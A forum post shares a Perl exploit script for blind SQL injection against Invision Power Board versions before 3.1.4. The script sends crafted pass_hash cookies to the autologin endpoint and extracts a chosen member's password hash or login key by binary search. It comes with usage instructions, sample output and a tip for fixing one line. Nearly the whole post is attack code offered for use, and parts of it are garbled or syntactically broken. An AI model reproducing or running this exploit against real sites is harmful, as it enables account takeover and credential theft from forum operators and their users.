Jump to content
Sign in to follow this  
Kev

Exploit Hack Forum IPB> 3.1.4 CP in Perl

Recommended Posts

SQL Injection Exploit

 

!/usr/bin/perl

## Invision Power Board SQL injection exploit by RTC-GNC-XxxEmchExxX
## vulnerable forum versions : 1.* , 2.* ,3.*(<3.1.4)
## tested on version 1 Final and version 3.1.4
## * work on all mysql versions
## * work with magic_quotes On (use %2527 for bypass magic_quotes_gpc = On)
## (c)oded by 1dt.w0lf
## ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
## screen:
## ~~~~~~~
## r57ipb3.pl blah.com /ipb13/ 1 0
## [~] SERVER : blah.com
## [~] PATH : /ipb13/
## [~] MEMBER ID : 1
## [~] TARGET : 0 - IPB 1.*
## [~] SEARCHING PASSWORD ... [ DONE ]
##
## MEMBER ID : 1
## PASSWORD : 5f4dcc3b5aa765d61d8327deb882cf99
##
## r57ipb3.pl blah.com /ipb314/ 1 1
## [~] SERVER : blah.com
## [~] PATH : /ipb314/
## [~] MEMBER ID : 1
## [~] TARGET : 1 - IPB 2.*
## [~] SEARCHING PASSWORD ... [ DONE ]
##
## MEMBER ID : 1
## MEMBER_LOGIN_KEY : f14c54ff6915dfe3827c08f47617219d
##
## r57ipb3.pl blah.com /ipb314/ 1 1
## [~] SERVER : blah.com
## [~] PATH : /ipb314/
## [~] MEMBER ID : 1
## [~] TARGET : 1 - IPB 3.*
## [~] SEARCHING PASSWORD ... [ DONE ]
##
## MEMBER ID : 1
## MEMBER_LOGIN_KEY : f103c2ff0937a1e1def351c34bf22d
## ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
## Greets: James Bercegay of the GulfTech Security Research Team N RST/GHC
## ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
## Credits: XxxEmchExxX , www.xxxemchexxx.blogspot.com
## ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

use IO :: Socket ;

if (@ ARGV < 4 ) { & usage ; }

$server = $ARGV [ 0 ];
$path = $ARGV [ 1 ];
$member_id = $ARGV [ 2 ];
$target = $ARGV [ 3 ];

$pass = ( $target )?( 'member_login_key' ):( 'password' );

$server =~ s !( http :\/\/)!!;

$request = 'http://' ;
$request .= $server ;
$request .= $path ;

$s_num = 1 ;
$|++;
$n = 0 ;

print "[~] SERVER : $server \r\n" ;
print "[~] PATH : $path \r\n" ;
print "[~] MEMBER ID : $member_id \r\n" ;
print "[~] TARGET : $target " ;
print (( $target )?( ' - IPB 3.*' ):( ' - IPB 2.*' ):( ' - IPB 1.*' ));
print "\r\n" ;
print "[~] SEARCHING PASSWORD ... [|]" ;

( $cmember_id = $member_id ) =~ s /(.)/ "%" . uc ( sprintf ( "%2.2x" , ord ($ 1 )))/ eg ;

while( 1 )
{
if(& found ( 47 , 58 )== 0 ) { & found ( 96 , 122 ); }
$char = $i ;
if ( $char == "0" )
{
if( length ( $allchar ) > 0 ){
print qq {\ b \ b DONE ]

MEMBER ID : $member_id
};
print (( $target )?( 'MEMBER_LOGIN_KEY : ' ):( 'PASSWORD : ' ));
print $allchar . "\r\n" ;
}
else
{
print "\b\b FAILED ]" ;
}
exit();
}
else
{
$allchar .= chr ( 42 );
}
$s_num ++;
}

sub found ($$)
{
my $fmin = $_ [ 0 ];
my $fmax = $_ [ 1 ];
if (( $fmax - $fmin )< 5 ) { $i = crack ( $fmin , $fmax ); return $i ; }

$r = int ( $fmax - ( $fmax - $fmin )/ 2 );
$check = " BETWEEN $r AND $fmax " ;
if ( & check ( $check ) ) { & found ( $r , $fmax ); }
else { & found ( $fmin , $r ); }
}

sub crack ($$)
{
my $cmin = $_ [ 0 ];
my $cmax = $_ [ 1 ];
$i = $cmin ;
while ( $i < $cmax )
{
$crcheck = "= $i " ;
if ( & check ( $crcheck ) ) { return $i ; }
$i ++;
}
$i = 0 ;
return $i ;
}

sub check ($)
{
$n ++;
status ();
$ccheck = $_ [ 0 ];
$pass_hash1 = "%36%36%36%2527%20%4F%52%20%28%69%64%3D" ;
$pass_hash2 = "%20%41%4E%44%20%61%73%63%69%69%28%73%75%62%73%74%72%69%6E%67%28" ;
$pass_hash3 = $pass . "," . $s_num . ",1))" . $ccheck . ") /*" ;
$pass_hash3 =~ s /(.)/ "%" . uc ( sprintf ( "%2.2x" , ord ($ 1 )))/ eg ;
$nmalykh = "%20%EC%E0%EB%FB%F5%20%2D%20%EF%E8%E4%E0%F0%E0%F1%21%20" ;
$socket = IO :: Socket :: INET -> new ( Proto => "tcp" , PeerAddr => " $server " , PeerPort => "80" );

printf $socket ( "GET %sindex.php?act=Login&CODE=autologin HTTP/1.0\nHost: %s\nAccept: */*\nCookie: member_id=%s; pass_hash=%s%s%s%s%s\nConnection: close\n\n" ,
$path , $server , $cmember_id , $pass_hash1 , $cmember_id , $pass_hash2 , $pass_hash3 , $nmalykh );

while(< $socket >)
{
if (/ Set - Cookie : session_id = 0 ;/) { return 1 ; }
}

return 0 ;
}

sub status ()
{
$status = $n % 5 ;
if( $status == 0 ){ print "\b\b/]" ; }
if( $status == 1 ){ print "\b\b-]" ; }
if( $status == 2 ){ print "\b\b\\]" ; }
if( $status == 3 ){ print "\b\b|]" ; }
}

sub usage ()
{
print q (
Invision Power Board v < 3.1.4 SQL injection exploit
----------------------------------------------------
USAGE :
~~~~~~
r57ipb3 . pl [ server ] [/ folder /] [ member_id ] [ target ]

[ server ] - host where IPB installed
[/ folder /] - folder where IPB installed
[ member_id ] - user id for brute

targets :
0 - IPB 1. *
1 - IPB 2. *
2 - IPB 3. * ( Prior To 3.1.4 )

e . g . r57ipb3 . pl 127.0.0.1 / IPB / 1 1
----------------------------------------------------
( c ) oded by 1dt . w0lf
RST / GHC , http : //rst.void.ru , http://ghc.ru
);
exit();

For convenience, change 72 line to

print $target ( ' - IPB 3.*' );

Source

Share this post


Link to post
Share on other sites

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.

Sign in to follow this  

×
×
  • Create New...